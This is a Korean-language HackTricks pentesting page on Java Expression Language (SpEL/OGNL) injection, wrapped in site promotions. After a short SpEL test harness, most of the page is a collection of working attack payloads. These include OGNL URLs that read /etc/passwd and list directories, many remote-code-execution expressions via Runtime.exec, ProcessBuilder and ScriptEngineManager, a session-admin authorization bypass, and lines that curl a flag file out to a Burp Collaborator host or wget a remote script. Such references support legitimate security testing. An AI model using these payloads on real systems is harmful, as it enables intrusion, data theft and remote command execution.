htARTE (HackTricks AWS Red Team Expert) 를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!
사이버 보안 회사 에서 일하시나요? HackTricks에 귀사를 광고 하고 싶으신가요? 혹은 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드 하고 싶으신가요? 구독 요금제 를 확인하세요!
WhiteIntel 은 다크 웹 을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드 에 의해 침해 당했는지 무료로 확인할 수 있는 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:
기본 정보
표현 언어 (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈)을 연결하는 데 중요한 역할을 합니다. 다음과 같은 곳에서 주로 사용됩니다:
JavaServer Faces (JSF) : UI 구성 요소를 백엔드 데이터/동작에 바인딩하는 데 사용됩니다.
JavaServer Pages (JSP) : JSP 페이지 내에서 데이터 액세스 및 조작에 사용됩니다.
Contexts and Dependency Injection for Java EE (CDI) : 웹 레이어 상호작용을 관리되는 빈과 함께 용이하게 합니다.
사용되는 컨텍스트 :
Spring Framework : 보안 및 데이터와 같은 다양한 모듈에서 사용됩니다.
일반적인 사용 : Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.
EL은 JavaEE 기술, 독립 환경에서 사용되며 .jsp
또는 .jsf
파일 확장자, 스택 오류 및 헤더에서 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 문자의 사용 및 기능은 버전에 따라 다를 수 있습니다.
EL 버전 에 따라 일부 기능 이 활성화 또는 비활성화 되며 일반적으로 일부 문자 가 허용되지 않을 수 있습니다.
기본 예제
(다른 흥미로운 EL 튜토리얼을 https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/ 에서 찾을 수 있습니다)
Maven 저장소에서 다음 jar 파일을 다운로드하세요:
spring-core-5.2.1.RELEASE.jar
spring-expression-5.2.1.RELEASE.jar
그리고 다음 Main.java
파일을 생성하세요:
Copy import org . springframework . expression . Expression ;
import org . springframework . expression . ExpressionParser ;
import org . springframework . expression . spel . standard . SpelExpressionParser ;
public class Main {
public static ExpressionParser PARSER;
public static void main ( String [] args) throws Exception {
PARSER = new SpelExpressionParser() ;
System . out . println ( "Enter a String to evaluate:" );
java . io . BufferedReader stdin = new java . io . BufferedReader ( new java . io . InputStreamReader ( System . in ));
String input = stdin . readLine ();
Expression exp = PARSER . parseExpression (input);
String result = exp . getValue () . toString ();
System . out . println (result);
}
}
다음으로 코드를 컴파일합니다 (javac
가 설치되어 있지 않은 경우 sudo apt install default-jdk
를 설치하세요):
Copy javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
다음과 같이 응용 프로그램을 실행하십시오:
Copy java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate :
{ 5 * 5 }
[ 25 ]
이전 예제에서 용어 {5*5}
이(가) 평가 되었음을 주목하세요.
CVE 기반 자습서
이 게시물에서 확인하세요: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a
Payloads
기본 작업
Copy #Basic string operations examples
{ "a".toString () }
[a]
{ "dfd" .replace( "d" , "x" )}
[xfx]
#Access to the String class
{ "".getClass () }
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{ "".getClass () .forName( "java.util.Date" )}
[class java.util.Date]
#List methods of a class
{ "".getClass () .forName( "java.util.Date" ) .getMethods () [ 0 ] .toString () }
[public boolean java.util.Date.equals(java.lang.Object)]
탐지
Copy gk6q${"zkz".toString () .replace( "k" , "x" )}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
Copy #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Copy #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
원격 파일 포함
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
디렉토리 목록
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
Copy #Check the method getRuntime is there
{ "".getClass () .forName( "java.lang.Runtime" ) .getMethods () [ 6 ] .toString () }
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{ "".getClass () .forName( "java.lang.Runtime" ) .getRuntime () .exec( "curl http://127.0.0.1:8000" )}
[Process[pid = 10892 , exitValue = 0 ]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
Copy https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
Copy // Common RCE payloads
'' . class . forName ( 'java.lang.Runtime' ) . getMethod ( 'getRuntime' , null ) . invoke ( null , null ) . exec ( <COMMAND STRING / ARRAY > )
'' . class . forName ( 'java.lang.ProcessBuilder' ) . getDeclaredConstructors ()[ 1 ] . newInstance ( <COMMAND ARRAY / LIST > ) . start ()
// Method using Runtime via getDeclaredConstructors
#{ session . setAttribute ( "rtc" , "" . getClass () . forName ( "java.lang.Runtime" ) . getDeclaredConstructors ()[ 0 ])}
#{ session . getAttribute ( "rtc" ) . setAccessible ( true )}
#{ session . getAttribute ( "rtc" ) . getRuntime () . exec ( "/bin/bash -c whoami" )}
// Method using processbuilder
${ request . setAttribute ( "c" , "" . getClass () . forName ( "java.util.ArrayList" ) . newInstance ())}
${ request . getAttribute ( "c" ) . add ( "cmd.exe" )}
${ request . getAttribute ( "c" ) . add ( "/k" )}
${ request . getAttribute ( "c" ) . add ( "ping x.x.x.x" )}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${ request . getAttribute ( "a" )}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T( java . lang . System ) . getenv ()[ 0 ]
T( java . lang . Runtime ) . getRuntime () . exec ( 'ping my-domain.com' )
T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( "cmd /c dir" ) . getInputStream ())
'' . class . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'calc.exe' )
환경 검사
applicationScope
- 전역 애플리케이션 변수
initParam
- 애플리케이션 초기화 변수
param.X
- X이름의 http 매개변수 값
이 변수들을 다음과 같이 String으로 캐스팅해야 합니다:
Copy ${sessionScope.toString () }
인가 우회 예제
Copy ${pageContext.request.getSession () .setAttribute( "admin" , true )}
애플리케이션은 다음과 같이 사용자 정의 변수를 사용할 수도 있습니다:
Copy ${user}
${password}
${employee.FirstName}
WAF 우회
https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/ 를 확인하세요.
참고 자료
WhiteIntel 은 다크 웹 을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드 에 의해 침해 를 당했는지 확인할 수 있는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다.
그들의 웹사이트를 방문하여 무료 로 엔진을 시험해 볼 수 있습니다:
제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert) !
사이버 보안 회사에서 일하시나요? 귀하의 회사를 HackTricks에서 광고하고 싶으신가요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? 구독 요금제 를 확인하세요!